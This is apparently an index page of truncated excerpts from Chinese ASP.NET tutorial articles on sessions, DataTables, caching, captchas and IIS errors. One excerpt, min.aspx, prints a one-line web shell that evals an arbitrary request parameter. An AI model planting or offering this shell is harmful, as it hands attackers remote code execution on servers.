ASP.net基礎知識之常見錯誤分析
1:command調用存儲過程的時候,如果輸出是dataset,selectcommand的command對象的connection先要指出,否則catch一輩子也是空的..
2:存儲過程的varchar字段如果是x.x的這種格式,容易出現細微的傻錯誤,注意不要漏了[]....
|
1:command調用存儲過程的時候,如果輸出是dataset,selectcommand的command對象的connection先要指出,否則catch一輩子也是空的..
2:存儲過程的varchar字段如果是x.x的這種格式,容易出現細微的傻錯誤,注意不要漏了[]....
1. this.Session["username"] = null HttpSessionState 內部使用 NameObjectCollection 類型的集合對象來存儲用戶數據。因此使用 this.Session["username"] = null 僅僅是將該元素的值設為 null 而已,并沒有真的將其...
.NET的頁面看似一個整體,卻可能是由很多不同的區域組合而來的,常常用到的母版頁、用戶控件就是最鮮明的例子。 然而在一個頁面內的元素要形成一個整體,就少不了控件之間的通信與傳值,本文是個人在不斷的使用過程中總結的...
昨天寫了一半,一直沒弄清楚當ACCESS數據庫的連接代碼寫成類的時候路徑該怎么寫,搞了半天,還是用絕對路徑解決了,似乎Server.MapPath沒法在cs文件中使用.
要實現的功能如下:
盡量用類的思想來完成數據的插入,因為...
本文將描述如何使CheckBoxList中的Item添加的Attribute在客戶端生效,CheckBoxList是一個非常好用的組件,它支持數據綁定等特性。但是他和DropDownList有同樣的一個問題,就是當我們向它們的Items里面Add項目的時候,如果希...
static的全部用法 要理解static,就必須要先理解另一個與之相對的關鍵字,很多人可能都還不知道有這個關鍵字,那就是auto,其實我們通常聲明的不用static修飾的變量,都是auto的,因為它是默認的,就象short和long總是默認為in...
Server Error in '/' Application. --------------------------------------------------------------------------------
Could not load file or assembly 'AjaxPro.2' or one of its dependencies. 拒絕訪問。...
在壇子里經常看到一些關于Session的問題,下面做一個總結,希望對大家有所幫助:問:為什么Session在有些機器上偶爾會丟失?答:可能和機器的環境有關系,比如:防火墻或者殺毒軟件等,嘗試關閉防火墻。問:為什么當調用Session.Abandon...
SmartClient概念近來比較熱,但在微軟提出這個名詞以前已經有大量的軟件在這么做了,一方面是簡化客戶端的部署,一方面是提供自動升級的功能;對于傳統的WinForm應用來講,確實是可以降低維護成本的一個不錯的解決方案; 微軟在...
由于公司的產品在新的版本中,需要考慮一些新的部署方式,所以又抽空關注了一下.NET跨平臺的一些解決方案。雖然Mono Project對基于.NET開發的人來說都不陌生,不過由于Mono是比較狹義的跨平臺(因為它是OS級別的)概念。而從...
可能"極好的"又會帶來很多的非議,但是我認為這確實很好,我看了大約20個無刷新的連動下拉列表,他們在firefox下面就一團糟.為了這個我差不多搞了兩天,就是如果提交窗體后如何保持第二個列表框的值,因為通過js 給下拉框...
直觀認識:正面交鋒 性能測試1:StringBuilder 第 1 輪測試:用時 312.5 毫秒 第 2 輪測試:用時 421.875 毫秒 第 3 輪測試:用時 453.125 毫秒 第 4 輪測試:用時 421.875 毫秒 第 5 輪測試:用時 453.125 毫秒 性能測試2:S...
實際上是利用.Net中的Process對象來實現的。 string str=@"d:/test.avi d:/test_allen.flv"; RunFFMpeg(str);
//運行FFMpeg的視頻解碼, public void RunFFMpeg(string strCmd) { //創建并...
min.aspx復制代碼 代碼如下:<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>復制代碼 代碼如下:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml...
網上看到一個解決方法,感覺不錯:
private DataTable GetNewDataTable(DataTable dt,string condition) { DataTable newdt = new DataTable(); newdt=dt.Clone();...
將DataTable中的一行復制到另一個DataTable
方法1:
DataRow dr = ds2.Tables[0].NewRow(); dr.ItemArray = ds1.Tables[0].Rows[i].ItemArray; ds2.Tables[0].Rows.Add( dr );
方法2:...
ASP.NET提供三種主要形式的緩存:頁面級輸出緩存、用戶控件級輸出緩存(或稱為片段緩存)和緩存API。
盡早緩存;經常緩存 您應該在應用程序的每一層都實現緩存。向數據層、業務邏輯層、UI或輸出層添加緩存支持。內存...
當dataList綁定到一個行集合時,直接使用 <%# DataBinder.Eval(Container.DataItem,"fldName") %>時,編譯時將會出現 "DataBinder.Eval:“System.Data.DataRow”不包含名稱為 fldName 的屬性" 的錯誤
解決辦法:將 <%# D...
常用的生成驗證碼程序 ,圖片效果如下: 源程序如下: 復制代碼 代碼如下:using System; using System.IO; using System.Drawing; using System.Drawing.Imaging; using System.Text; using System.Collections;...
當做小項目用 ASP.NET + Access 數據庫時,總是遇到數據庫路徑問題,本人以前的解決方法是每次訪問數據庫時,把鏈接字符串以參數的形式傳到數據訪問層,實施起來相當麻煩,這次找到了一個比較好的方案,這是本人目前的最終解決方...
IIS500錯誤,是因為微軟的一個BUG所造成的。下面是解決辦法:
主要是由于IWAM賬號(在我的計算機即是IWAM_MYSERVER賬號)的密碼錯誤造成了HTTP 500內部錯誤。 在詳細分析HTTP500內部錯誤產生的原因之前,先對IWAM賬號進行一...
先看代碼: using System; using System.Drawing; using System.Drawing.Imaging; using System.Drawing.Drawing2D; /**//// <summary> /// /// **生成高質量縮略圖程序** /// /// File: GenerateThumbnail.cs ///...
<table> <tr> <td style="PADDING-RIGHT: 6px; PADDING-LEFT: 6px; OVERFLOW-X: hidden; PADDING-BOTTOM: 6px; WORD-BREAK: break-all; LINE-HEIGHT: 130%; PADDING-TOP: 6px; WORD-WRAP: break-word">...
利用.NET 提供的類,如Drawing.Bitmap ,Drawing.Bitmap 等,很容易就可以實現對圖片的簡單處理。包括打水印,放大縮小,等操作。 public partial class WebForm4 : System.Web.UI.Page { // 原始圖片路徑...
private String HtmlCode(string TString) { if (TString != null) { TString = TString.Replace("/r", "<br>"); TString = TString.Replace(" ", " "); r...